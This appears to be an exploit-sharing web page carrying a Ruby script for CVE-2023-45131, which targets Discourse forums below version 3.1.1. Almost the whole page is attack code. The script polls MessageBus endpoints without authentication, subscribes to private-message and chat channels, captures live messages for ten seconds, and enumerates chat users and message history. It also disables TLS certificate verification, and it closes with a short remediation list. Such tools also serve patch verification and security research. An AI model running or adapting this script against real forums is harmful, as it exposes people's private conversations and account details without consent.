扫码分享
验证：
体验盒子
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 | #!/usr/bin/env ruby # Title : Discourse 3.1.1 - Unauthenticated Chat Message Access # CVE-2023-45131 # CVSS: 7.5 (High) # Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2 # Author ibrahimsql @ https://twitter.com/ibrahmsql # Date: 2023-12-14 require 'net/http' require 'uri' require 'json' require 'openssl' require 'base64' class CVE202345131 def initialize(target_url) @target_url = target_url.chomp('/') @results = [] @message_bus_client_id = nil @csrf_token = nil end def run_exploit puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access" puts "[*] Target: #{@target_url}" puts "[*] CVSS Score: 7.5 (High)" puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n" # Test MessageBus access test_messagebus_access test_chat_channel_enumeration test_private_message_access test_real_time_monitoring test_message_history_access test_user_enumeration_via_chat generate_report @results end private def test_messagebus_access puts "[*] Testing MessageBus unauthenticated access..." begin # Get MessageBus client ID uri = URI("#{@target_url}/message-bus/poll") response = make_request(uri, 'GET') if response && response.code == '200' begin data = JSON.parse(response.body) if data.is_a?(Array) && !data.empty? @message_bus_client_id = extract_client_id(response) @results << { vulnerability: "MessageBus Access", severity: "High", description: "Unauthenticated access to MessageBus endpoint confirmed", impact: "Can monitor real-time messages and notifications", client_id: @message_bus_client_id } puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}" return true end rescue JSON::ParserError # Try alternative endpoints test_alternative_messagebus_endpoints end end rescue => e puts "[!] Error testing MessageBus access: #{e.message}" end false end def test_alternative_messagebus_endpoints puts "[*] Testing alternative MessageBus endpoints..." endpoints = [ "/message-bus/poll", "/message-bus/subscribe", "/message-bus/diagnostics", "/message-bus/long-poll" ] endpoints.each do |endpoint| begin uri = URI("#{@target_url}#{endpoint}") response = make_request(uri, 'GET') if response && response.code == '200' if response.body.include?('message-bus') || response.body.include?('clientId') @results << { vulnerability: "Alternative MessageBus Endpoint", severity: "Medium", endpoint: endpoint, description: "Alternative MessageBus endpoint accessible", impact: "Potential message monitoring capability" } puts "[+] Alternative endpoint accessible: #{endpoint}" end end rescue => e puts "[!] Error testing endpoint #{endpoint}: #{e.message}" end end end def test_chat_channel_enumeration puts "[*] Testing chat channel enumeration..." return unless @message_bus_client_id begin # Try to enumerate chat channels uri = URI("#{@target_url}/message-bus/poll") # Subscribe to chat channels data = { '/chat/new-messages' => -1, '/chat/channel-status' => -1, '/chat/user-tracking' => -1, 'clientId' => @message_bus_client_id } response = make_request(uri, 'POST', data) if response && response.code == '200' begin messages = JSON.parse(response.body) if messages.is_a?(Array) && !messages.empty? chat_channels = extract_chat_channels(messages) if !chat_channels.empty? @results << { vulnerability: "Chat Channel Enumeration", severity: "High", channels: chat_channels, description: "Enumerated accessible chat channels", impact: "Can identify active chat channels and participants" } puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}" end end rescue JSON::ParserError => e puts "[!] Error parsing chat channel response: #{e.message}" end end rescue => e puts "[!] Error enumerating chat channels: #{e.message}" end end def test_private_message_access puts "[*] Testing private message access..." return unless @message_bus_client_id begin # Try to access private messages uri = URI("#{@target_url}/message-bus/poll") # Subscribe to private message channels data = { '/private-messages' => -1, '/chat/private' => -1, '/notification' => -1, 'clientId' => @message_bus_client_id } response = make_request(uri, 'POST', data) if response && response.code == '200' begin messages = JSON.parse(response.body) if messages.is_a?(Array) private_messages = extract_private_messages(messages) if !private_messages.empty? @results << { vulnerability: "Private Message Access", severity: "Critical", messages: private_messages, description: "Accessed private chat messages without authentication", impact: "Complete breach of private communication confidentiality" } puts "[+] Private messages accessed: #{private_messages.length} messages found" # Log sample messages (redacted) private_messages.first(3).each_with_index do |msg, idx| puts "[#{idx + 1}] #{redact_message(msg)}" end end end rescue JSON::ParserError => e puts "[!] Error parsing private message response: #{e.message}" end end rescue => e puts "[!] Error accessing private messages: #{e.message}" end end def test_real_time_monitoring puts "[*] Testing real-time message monitoring..." return unless @message_bus_client_id begin puts "[*] Monitoring for 10 seconds..." start_time = Time.now monitored_messages = [] while (Time.now - start_time) < 10 uri = URI("#{@target_url}/message-bus/poll") data = { '/chat/new-messages' => 0, 'clientId' => @message_bus_client_id } response = make_request(uri, 'POST', data) if response && response.code == '200' begin messages = JSON.parse(response.body) if messages.is_a?(Array) && !messages.empty? new_messages = extract_new_messages(messages) monitored_messages.concat(new_messages) end rescue JSON::ParserError # Continue monitoring end end sleep(1) end if !monitored_messages.empty? @results << { vulnerability: "Real-time Message Monitoring", severity: "High", messages_count: monitored_messages.length, description: "Successfully monitored real-time chat messages", impact: "Can intercept live communications" } puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted" else puts "[-] No real-time messages detected during monitoring period" end rescue => e puts "[!] Error during real-time monitoring: #{e.message}" end end def test_message_history_access puts "[*] Testing message history access..." begin # Try to access message history through various endpoints history_endpoints = [ "/chat/api/channels", "/chat/api/messages", "/chat/history", "/api/chat/channels.json" ] history_endpoints.each do |endpoint| uri = URI("#{@target_url}#{endpoint}") response = make_request(uri, 'GET') if response && response.code == '200' begin data = JSON.parse(response.body) if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat']) @results << { vulnerability: "Message History Access", severity: "High", endpoint: endpoint, description: "Accessed chat message history without authentication", impact: "Historical chat data exposure" } puts "[+] Message history accessible via: #{endpoint}" end rescue JSON::ParserError # Check for HTML responses that might contain chat data if response.body.include?('chat') && response.body.include?('message') @results << { vulnerability: "Message History Exposure", severity: "Medium", endpoint: endpoint, description: "Chat-related content found in response", impact: "Potential information disclosure" } puts "[+] Chat-related content found in: #{endpoint}" end end end end rescue => e puts "[!] Error testing message history access: #{e.message}" end end def test_user_enumeration_via_chat puts "[*] Testing user enumeration via chat features..." begin # Try to enumerate users through chat-related endpoints user_endpoints = [ "/chat/api/users", "/chat/users.json", "/api/chat/users", "/chat/members" ] user_endpoints.each do |endpoint| uri = URI("#{@target_url}#{endpoint}") response = make_request(uri, 'GET') if response && response.code == '200' begin data = JSON.parse(response.body) if data.is_a?(Hash) && (data['users'] || data['members']) users = extract_users_from_chat(data) if !users.empty? @results << { vulnerability: "User Enumeration via Chat", severity: "Medium", endpoint: endpoint, users_count: users.length, sample_users: users.first(5), description: "Enumerated chat users without authentication", impact: "User information disclosure" } puts "[+] Users enumerated via #{endpoint}: #{users.length} users found" end end rescue JSON::ParserError # Continue with next endpoint end end end rescue => e puts "[!] Error testing user enumeration: #{e.message}" end end def extract_client_id(response) # Extract client ID from response headers or body if response['X-MessageBus-Client-Id'] return response['X-MessageBus-Client-Id'] end # Try to extract from response body begin data = JSON.parse(response.body) if data.is_a?(Hash) && data['clientId'] return data['clientId'] end rescue JSON::ParserError end # Generate a random client ID SecureRandom.hex(16) end def extract_chat_channels(messages) channels = [] messages.each do |message| if message.is_a?(Hash) if message['channel'] && message['channel'].include?('/chat/') channels << message['channel'] elsif message['data'] && message['data'].is_a?(Hash) if message['data']['channel_id'] channels << "Channel #{message['data']['channel_id']}" end end end end channels.uniq end def extract_private_messages(messages) private_msgs = [] messages.each do |message| if message.is_a?(Hash) if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private')) private_msgs << { channel: message['channel'], data: message['data'], timestamp: message['timestamp'] || Time.now.to_i } elsif message['data'] && message['data'].is_a?(Hash) if message['data']['message'] || message['data']['content'] private_msgs << { content: message['data']['message'] || message['data']['content'], user: message['data']['user'] || message['data']['username'], timestamp: message['data']['timestamp'] || Time.now.to_i } end end end end private_msgs end def extract_new_messages(messages) new_msgs = [] messages.each do |message| if message.is_a?(Hash) && message['data'] new_msgs << { channel: message['channel'], data: message['data'], timestamp: Time.now.to_i } end end new_msgs end def extract_users_from_chat(data) users = [] if data['users'] && data['users'].is_a?(Array) data['users'].each do |user| if user.is_a?(Hash) users << { username: user['username'], id: user['id'], name: user['name'] } end end elsif data['members'] && data['members'].is_a?(Array) data['members'].each do |member| if member.is_a?(Hash) users << { username: member['username'] || member['user'], id: member['id'] || member['user_id'] } end end end users end def redact_message(message) if message.is_a?(Hash) content = message[:content] || message['content'] || message[:data] || 'N/A' user = message[:user] || message['user'] || 'Unknown' "User: #{user}, Content: #{content.to_s[0..50]}..." else message.to_s[0..50] + "..." end end def make_request(uri, method = 'GET', data = nil, headers = {}) begin http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = (uri.scheme == 'https') http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl? http.read_timeout = 10 http.open_timeout = 10 request = case method.upcase when 'GET' Net::HTTP::Get.new(uri.request_uri) when 'POST' req = Net::HTTP::Post.new(uri.request_uri) if data if data.is_a?(Hash) req.set_form_data(data) else req.body = data req['Content-Type'] = 'application/json' end end req end # Set headers request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)' request['Accept'] = 'application/json, text/javascript, */*; q=0.01' request['X-Requested-With'] = 'XMLHttpRequest' headers.each { |key, value| request[key] = value } response = http.request(request) return response rescue => e puts "[!] Request failed: #{e.message}" return nil end end def generate_report puts "\n" + "="*60 puts "CVE-2023-45131 Exploitation Report" puts "="*60 puts "Target: #{@target_url}" puts "Vulnerabilities Found: #{@results.length}" if @results.empty? puts "[+] No chat message access vulnerabilities detected" else puts "\n[!] VULNERABILITIES DETECTED:" @results.each_with_index do |result, index| puts "\n#{index + 1}. #{result[:vulnerability]}" puts " Severity: #{result[:severity]}" puts " Description: #{result[:description]}" puts " Impact: #{result[:impact]}" if result[:messages_count] puts " Messages Found: #{result[:messages_count]}" end if result[:channels] puts " Channels: #{result[:channels].join(', ')}" end if result[:endpoint] puts " Endpoint: #{result[:endpoint]}" end end puts "\n[!] REMEDIATION:" puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later" puts "2. Implement proper authentication for MessageBus endpoints" puts "3. Review and restrict access to chat-related APIs" puts "4. Monitor MessageBus access logs for suspicious activity" puts "5. Consider disabling chat features if not required" end puts "\n" + "="*60 end end # Run the exploit if called directly if __FILE__ == $0 if ARGV.length != 1 puts "Usage: ruby #{$0} <target_url>" puts "Example: ruby #{$0} https://discourse.example.com" exit 1 end target_url = ARGV[0] exploit = CVE202345131.new(target_url) exploit.run_exploit end |
体验盒子
